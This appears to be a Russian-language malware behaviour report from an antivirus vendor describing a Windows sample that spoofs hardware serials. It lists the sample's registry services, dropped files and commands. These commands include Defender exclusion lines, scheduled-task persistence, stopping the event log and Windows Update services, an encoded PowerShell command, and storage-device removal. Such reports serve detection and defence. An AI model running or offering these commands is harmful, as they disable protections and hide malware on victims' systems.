Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\GENERICDRV] 'ImagePath' = '%ALLUSERSPROFILE%\Microsoft\Windows\amifldrv64.sys'
- [HKLM\System\CurrentControlSet\Services\driverupdate] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\driverupdate] 'ImagePath' = '%ALLUSERSPROFILE%\VC_redist.x64.exe'
Создает следующие сервисы
- 'GENERICDRV' %ALLUSERSPROFILE%\Microsoft\Windows\amifldrv64.sys
- 'driverupdate' %ALLUSERSPROFILE%\VC_redist.x64.exe
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.en\cmd.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\Mozilla Firefox\browser\VisualElements\firefox.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Текущая директория>\conhost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\services.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles(x86)%\Windows Mail\en-US\firefox.exe'
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\hpsrspoof.exe
- %HOMEPATH%\desktop\ruwtawir.log
- %HOMEPATH%\desktop\detcynmc.log
- %HOMEPATH%\desktop\xdxvkdbq.log
- %HOMEPATH%\desktop\uhskzjwc.log
- %HOMEPATH%\desktop\mnrjaank.log
- %ALLUSERSPROFILE%\vc_redist.x64.exe
- %ALLUSERSPROFILE%\microsoft\windows\volumeid64.exe
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.en\cmd.exe
- %ProgramFiles%\mozilla firefox\browser\visualelements\firefox.exe
- %ProgramFiles%\mozilla firefox\browser\visualelements\0fc223bdacedc3
- <Текущая директория>\conhost.exe
- <Текущая директория>\088424020bedd6
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\services.exe
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\c5b4cb5e9653cc
- %HOMEPATH%\desktop\hiyvypza.log
- %HOMEPATH%\desktop\xfifksjh.log
- %WINDIR%\temp\udddb94.tmp
- %WINDIR%\temp\uddd02e.tmp
- %WINDIR%\temp\uddc313.tmp
- %APPDATA%\conhost_sft.exe
- %ALLUSERSPROFILE%\microsoft\windows\devmanview.cfg
- %ALLUSERSPROFILE%\microsoft\windows\devmanview.chm
- %ALLUSERSPROFILE%\microsoft\windows\devmanview.exe
- %ALLUSERSPROFILE%\microsoft\windows\amide.sys
- %ALLUSERSPROFILE%\microsoft\windows\amifldrv64.sys
- %ProgramFiles(x86)%\windows mail\en-us\firefox.exe
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.en\ebf1f9fa8afd6d
- %ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe
- %ALLUSERSPROFILE%\microsoft\windows\serialc.bat
- %ALLUSERSPROFILE%\microsoft\windows\spoofed2.bat
- %HOMEPATH%\desktop\rdnrtgvt.log
- %WINDIR%\temp\udd9bc2.tmp
- %WINDIR%\temp\uddaab1.tmp
- %WINDIR%\temp\uddb7eb.tmp
- %APPDATA%\sp_hyperruntimedhcpsvc.exe
- %ALLUSERSPROFILE%\microsoft\windows\disk.bat
- %ProgramFiles(x86)%\windows mail\en-us\0fc223bdacedc3
Удаляет следующие файлы
- %WINDIR%\temp\udd9bc2.tmp
- %WINDIR%\temp\uddaab1.tmp
- %WINDIR%\temp\uddb7eb.tmp
- %WINDIR%\temp\uddc313.tmp
- %WINDIR%\temp\uddd02e.tmp
- %WINDIR%\temp\udddb94.tmp
Другое
Создает и запускает на исполнение
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /BS 67040HP-TRGT28761FU
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /BM 47027HP-TRGT18535FA
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SK 57170HP-TRGT32713SL
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /BV 37170HP-TRGT32713DQ
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /BV 37089HP-TRGT26147DQ
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /PSN 77102HP-TRGT3604MST
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SV 27138HP-TRGT23533RV
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SK 87138HP-TRGT23533SG
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SS 7138HP-TRGT23533AB
- '%ALLUSERSPROFILE%\vc_redist.x64.exe'
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /BS 67141HP-TRGT1513FU
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SU auto
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /BM 47170HP-TRGT32713FA
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SS 7167HP-TRGT21965AB
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SV 27164HP-TRGT11216RV
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SK 87167HP-TRGT21965SG
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /BV 37144HP-TRGT12262DQ
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /BM 47141HP-TRGT1513FA
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SK 57141HP-TRGT1513SL
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /PSN 77144HP-TRGT12262MST
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SK 57020HP-TRGT29806SL
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /BS 67170HP-TRGT32713FU
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SM HOPESA-RSPPOF
- 'C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\services.exe'
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /PSN 77177HP-TRGT21442MST
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SS 6890HP-TRGT25854AB
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "C:\"
- '%ALLUSERSPROFILE%\microsoft\windows\volumeid64.exe' c: 1AVR-CO7U
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "D:\"
- '%APPDATA%\conhost_sft.exe'
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "WAN Miniport*" /use_wildcard""
- '%APPDATA%\sp_hyperruntimedhcpsvc.exe'
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SV 26974HP-TRGT10401RV
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "Disk drive*" /use_wildcard""
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "Disk"
- '%APPDATA%\hpsrspoof.exe'
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "G:\"
- '%ALLUSERSPROFILE%\microsoft\windows\amidewinx64.exe' /SK 86987HP-TRGT20626SG
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "E:\"
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "STORAGE*" /use_wildcard""
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "<Имя диска съемного носителя>:\"
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "SCSI\Disk*" /use_wildcard""
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "SWD\WPDBUSENUM*" /use_wildcard""
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "Disk&*" /use_wildcard""
- '%ALLUSERSPROFILE%\microsoft\windows\devmanview.exe' /uninstall "USBSTOR*" /use_wildcard""
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /PSN 7%RANDOM%HP-TRGT%RANDOM%MST' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /BV 3%RANDOM%HP-TRGT%RANDOM%DQ' (со скрытым окном)
- '%APPDATA%\sp_hyperruntimedhcpsvc.exe' ' (со скрытым окном)
- '%APPDATA%\conhost_sft.exe' ' (со скрытым окном)
- '%APPDATA%\hpsrspoof.exe' ' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\Disk.bat' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SV 2%RANDOM%HP-TRGT%RANDOM%RV' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /BM 4%RANDOM%HP-TRGT%RANDOM%FA' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SU auto' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SK 8%RANDOM%HP-TRGT%RANDOM%SG' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SS %RANDOM%HP-TRGT%RANDOM%AB' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SK 5%RANDOM%HP-TRGT%RANDOM%SL' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\I3vYzOuiXs.bat"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /BS 6%RANDOM%HP-TRGT%RANDOM%FU' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\Volumeid64.exe c: 1AVR-CO7U' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHAAawBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbAB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHAAawBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbAB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
- '<SYSTEM32>\schtasks.exe' /create /tn "cmd" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.en\cmd.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.en\cmd.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 7 /tr "'%ProgramFiles%\Mozilla Firefox\browser\VisualElements\firefox.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc ONLOGON /tr "'%ProgramFiles%\Mozilla Firefox\browser\VisualElements\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 5 /tr "'%ProgramFiles%\Mozilla Firefox\browser\VisualElements\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'<Текущая директория>\conhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost" /sc ONLOGON /tr "'<Текущая директория>\conhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'<Текущая директория>\conhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\schtasks.exe' /create /tn "servicess" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\services.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "servicess" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\services.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 5 /tr "'%ProgramFiles(x86)%\Windows Mail\en-US\firefox.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Windows Mail\en-US\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 9 /tr "'%ProgramFiles(x86)%\Windows Mail\en-US\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /BV 3%RANDOM%HP-TRGT%RANDOM%DQ
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\I3vYzOuiXs.bat"
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /PSN 7%RANDOM%HP-TRGT%RANDOM%MST
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /BS 6%RANDOM%HP-TRGT%RANDOM%FU
- '<SYSTEM32>\schtasks.exe' /create /tn "cmdc" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.en\cmd.exe'" /f
- '<SYSTEM32>\sc.exe' stop eventlog
- '<SYSTEM32>\sc.exe' start "driverupdate"
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /BM 4%RANDOM%HP-TRGT%RANDOM%FA
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\Disk.bat
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SS %RANDOM%HP-TRGT%RANDOM%AB
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SV 2%RANDOM%HP-TRGT%RANDOM%RV
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SK 8%RANDOM%HP-TRGT%RANDOM%SG
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\ping.exe' -n 10 localhost
- '<SYSTEM32>\schtasks.exe' /create /tn "services" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\services.exe'" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SU auto
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SK 5%RANDOM%HP-TRGT%RANDOM%SL
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\sc.exe' delete "driverupdate"
- '<SYSTEM32>\sc.exe' create "driverupdate" binpath= "%ALLUSERSPROFILE%\VC_redist.x64.exe" start= "auto"
- '<SYSTEM32>\cmd.exe' /C %ALLUSERSPROFILE%\Microsoft\Windows\Volumeid64.exe c: 1AVR-CO7U
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
